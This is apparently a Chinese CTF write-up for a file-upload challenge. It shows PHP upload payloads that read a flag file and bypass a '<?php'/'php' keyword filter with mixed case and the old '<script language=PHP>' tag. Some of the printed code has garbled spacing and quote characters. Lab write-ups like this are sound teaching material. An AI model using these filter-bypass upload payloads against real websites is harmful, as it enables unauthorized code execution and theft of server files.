1、百度杯”CTF比赛 九月场 Upload
打开题目得到这个界面

2、随便上传一个文件
百度杯”CTF比赛 九月场 Upload
上传了之后还可以打开
这里就可以尝试上传一个PHP文件来获取到flag
百度杯”CTF比赛 九月场 Upload

网页源代码显示 上传路径在u目录下 所以需要…/flag.php

返回上一级 打开flag.php

尝试上传一个php文件读取flag。php文件参考http://www.w3school.com.cn/php/php_file_open.asp

<?php $ myfile = fopen("../flag.php", "r") or die("Unable to open file!"); echo fread($ myfile,filesize("../flag.php")); fclose($ myfile); ?>

3、上传之后却发现代码无法正常执行 过滤了<?php 和 php

所以尝试一下大小写混写

<?PHP $ myfile = fopen("../flag.php", "r") or die("Unable to open file!"); echo fread($ myfile,filesize("../flag.php")); fclose($ myfile); ?>

发现还是不行 但是没有显示<?

百度杯”CTF比赛 九月场 Upload
接着 我们可以换一下PHP的写法 例如已经被淘汰了的写法

百度杯”CTF比赛 九月场 Upload
百度杯”CTF比赛 九月场 Upload

我们换成
< script language=“PHP”>
$ myfile = fopen("…/flag.".strtolower(“PHP”), “r”) or die(“Unable to open file!”);
echo fread($ myfile,filesize("…/flag.".strtolower(“PHP”)));
fclose($myfile);
</ script>
百度杯”CTF比赛 九月场 Upload

上传之后发现什么都没有 则表示我们的PHP代码被成功执行了

4、百度杯”CTF比赛 九月场 Upload

crtl+u 拿到flag

相关文章: